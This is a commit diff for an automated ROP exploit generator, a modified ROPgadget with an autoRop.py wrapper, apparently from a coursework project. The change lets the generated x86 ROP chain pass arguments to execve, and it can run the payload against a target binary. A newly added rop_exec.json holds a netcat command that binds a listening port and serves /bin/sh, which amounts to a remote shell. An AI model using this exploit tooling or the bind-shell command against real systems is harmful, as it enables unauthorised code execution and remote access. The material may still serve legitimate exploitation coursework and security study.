Add execve arguments
Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com> Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
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@ -86,7 +86,7 @@ architectures supported:
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parser.add_argument("--offset", type=str, metavar="<hexaddr>", help="Specify an offset for gadget addresses")
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parser.add_argument("--paddingLen", type=int, metavar="<nbyte>", default=6, help="Specify the padding length for the ROP chain")
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parser.add_argument("--ropFile", type=str, metavar="<string>", default="rop.txt", help="The file to write the generated ROP bytes to")
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parser.add_argument("--execPath", type=str, metavar="<string>", default="/bin/sh", help="Path of the executable to make execve() run")
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parser.add_argument("--execFile", type=str, metavar="<string>", default="/bin/sh", help="Path of the executable to make execve() run")
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parser.add_argument("--ropchain", action="store_true", help="Enable the ROP chain generation")
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parser.add_argument("--thumb" , action="store_true", help="Use the thumb mode for the search engine (ARM only)")
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parser.add_argument("--console", action="store_true", help="Use an interactive console for search engine")
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@ -12,6 +12,7 @@ import re
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import codecs
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import ropgadget.rgutils as rgutils
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import binascii
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import json
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from ropgadget.binary import Binary
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from capstone import CS_MODE_32
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@ -215,9 +216,12 @@ class Core(cmd.Cmd):
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self.__getGadgets()
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self.__lookingForGadgets()
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if self.__options.ropchain:
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with open(self.__options.execFile) as f:
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exec_contents = json.load(f)
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ROPMaker(
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self.__binary, self.__gadgets, self.__options.paddingLen,
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self.__options.ropFile, self.__options.execPath, self.__offset
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self.__options.ropFile, exec_contents, self.__offset
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)
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return True
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@ -9,19 +9,18 @@
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import re
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from capstone import *
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from textwrap import wrap
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import sys
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import math
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from struct import pack
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class ROPMakerX86(object):
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def __init__(self, binary, gadgets, paddingLen, outFile, execPath, liboffset=0x0):
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def __init__(self, binary, gadgets, paddingLen, outFile, exec, liboffset=0x0):
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self.__binary = binary
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self.__gadgets = gadgets
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self.paddingLen = paddingLen
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self.outFile = outFile
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self.execPath = execPath
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self.exec = exec
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# If it's a library, we have the option to add an offset to the addresses
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self.__liboffset = liboffset
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@ -46,7 +45,7 @@ class ROPMakerX86(object):
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if g != "ret":
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if g.split()[0] == "ret" and g.split()[1] != "":
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raise
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print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
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# print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
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return [gadget, regex.group("dst"), regex.group("src")]
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except:
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continue
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@ -64,7 +63,7 @@ class ROPMakerX86(object):
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if g != "ret":
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if g.split()[0] == "ret" and g.split()[1] != "":
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raise
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print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
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# print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
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return gadget
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except:
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continue
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@ -121,24 +120,29 @@ class ROPMakerX86(object):
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print("\n# [-] Error - Can't find a writable section")
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return
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print(f"dataAddr = 0x{dataAddr:08x}")
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print(f"int 0x80 = 0x{syscall['vaddr']:08x}")
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# prepend padding
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p = bytes('A' * self.paddingLen, "ascii")
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command = self.execPath
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command = self.exec[0]
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# split command into chunks of 4, prepend with /s as necessary
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if len(command) % 4 > 0:
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command = padding_len(len(command)) * "/" + command
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command = padding_len(len(command)) * "/" + command
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command_chunks = wrap(command, 4)
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## EXEC (ARG0) \0 ARG1 \0 ARG2 \0 ... \0 PTR->EXEC PTR->ARG1 PTR->ARG2 ... \0 ##
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args = ["test", "test1", "long string example"]
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args = self.exec[1:]
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chunked_args = []
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for arg in args:
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if len(arg) % 4 > 0:
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arg = arg + padding_len(len(arg)) * "!"
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chunked_args.append(wrap)
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arg = arg + padding_len(len(arg)) * "!"
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print(arg)
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chunked_args.append(wrap(arg, 4))
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print(chunked_args)
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# & ( "cat" \0 )
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exec_addr = dataAddr
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@ -185,7 +189,24 @@ class ROPMakerX86(object):
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# Write Argument Strings #
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##########################
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for i, arg in enumerate(chunked_args):
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this_arg_addr = arg_addr[i]
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for j, chunk in enumerate(arg):
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address = this_arg_addr + (j * 4)
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# write 4 char chunk of the command
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p += self.__write4bytes(
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address,
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bytes(chunk, "ascii"),
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dataAddr, popDst, popSrc, write4where
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)
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p += self.__write4nulls(
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this_arg_addr + len(args[i]),
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popDst, xorSrc, write4where
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)
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####################
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# Write Argv Array #
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@ -198,6 +219,13 @@ class ROPMakerX86(object):
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dataAddr, popDst, popSrc, write4where
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)
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for i, address in enumerate(arg_addr):
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p += self.__write4bytes(
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argv_addr + ((i + 1) * 4),
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pack('<I', address),
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dataAddr, popDst, popSrc, write4where
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)
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# write null byte after argv array
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p += self.__write4nulls(
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argv_addr + (len(args) * 4) + 4,
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@ -243,9 +271,9 @@ class ROPMakerX86(object):
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# To find the smaller gadget
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self.__gadgets.reverse()
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print("\n# ROP chain generation\n# ===========================================================")
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# print("\n# ROP chain generation\n# ===========================================================")
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print("\n# - Step 1 -- Write-what-where gadgets\n")
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# print("\n# - Step 1 -- Write-what-where gadgets\n")
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gadgetsAlreadyTested = []
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while True:
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@ -274,7 +302,7 @@ class ROPMakerX86(object):
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else:
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break
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print("\n# - Step 2 -- Init syscall number gadgets\n")
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# print("\n# - Step 2 -- Init syscall number gadgets\n")
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xorEax = self.__lookingForSomeThing("xor eax, eax")
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if not xorEax:
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@ -286,7 +314,7 @@ class ROPMakerX86(object):
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print("# [-] Can't find the 'inc eax' instruction")
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return
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print("\n# - Step 3 -- Init syscall arguments gadgets\n")
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# print("\n# - Step 3 -- Init syscall arguments gadgets\n")
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popEbx = self.__lookingForSomeThing("pop ebx")
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if not popEbx:
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@ -303,14 +331,14 @@ class ROPMakerX86(object):
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print("# [-] Can't find the 'pop edx' instruction")
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return
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print("\n# - Step 4 -- Syscall gadget\n")
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# print("\n# - Step 4 -- Syscall gadget\n")
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syscall = self.__lookingForSomeThing("int 0x80")
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if not syscall:
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print("# [-] Can't find the 'syscall' instruction")
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return
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print("\n# - Step 5 -- Build the ROP chain\n")
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# print("\n# - Step 5 -- Build the ROP chain\n")
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self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall)
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@ -319,3 +347,6 @@ class ROPMakerX86(object):
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def padding_len(x):
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return -(x % -4)
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def wrap(str, n):
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return [ str[i:i + n] for i in range(0, len(str), n) ]
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11
autoRop.py
11
autoRop.py
@ -4,6 +4,7 @@ import math
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import os
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import subprocess
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import sys
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import json
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from contextlib import redirect_stderr
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from pwnlib.context import context
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@ -35,15 +36,16 @@ print(r'''
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arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
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arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
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arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file")
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arg_parser.add_argument("--rop_exec", metavar="rop_exec", default="/bin/sh", type=str, help="The path to the executable the ROP should run")
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arg_parser.add_argument("--rop_exec_file", metavar="rop_exec", default="rop_exec.json", type=str, help="The path to the file containing the command for the ROP to run")
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arg_parser.add_argument("--min_payload", metavar="min", default=32, type=int, help="The minimum payload length to try")
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arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try")
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arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable")
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args = arg_parser.parse_args()
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exec_file = args.exec_file
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rop_file = args.rop_file
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rop_exec = args.rop_exec
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rop_exec_file = args.rop_exec_file
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min_payload = args.min_payload
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max_payload = args.max_payload
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run = args.run
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@ -96,15 +98,18 @@ result = subprocess.run(
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"--silent",
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"--paddingLen", str(offset),
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"--ropFile", rop_file,
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"--execPath", rop_exec
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"--execFile", rop_exec_file,
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],
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stdout = subprocess.PIPE
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)
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with open("log/ropgadget.log", "wb") as f:
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f.write(result.stdout)
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print(f" └─[🤩] All done! The ROP input is saved to {rop_file}!")
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if run:
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pwnlibexit._run_handlers()
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print()
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print(f"[ Run Program : ./{exec_file} {rop_file} ]")
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os.execv(exec_file, [exec_file, rop_file])
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1
rop_exec.json
Normal file
1
rop_exec.json
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@ -0,0 +1 @@
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["/home/vagrant/cw/netcat-0.7.1/src/netcat", "-lnp", "5678", "-tte", "/bin/sh"]
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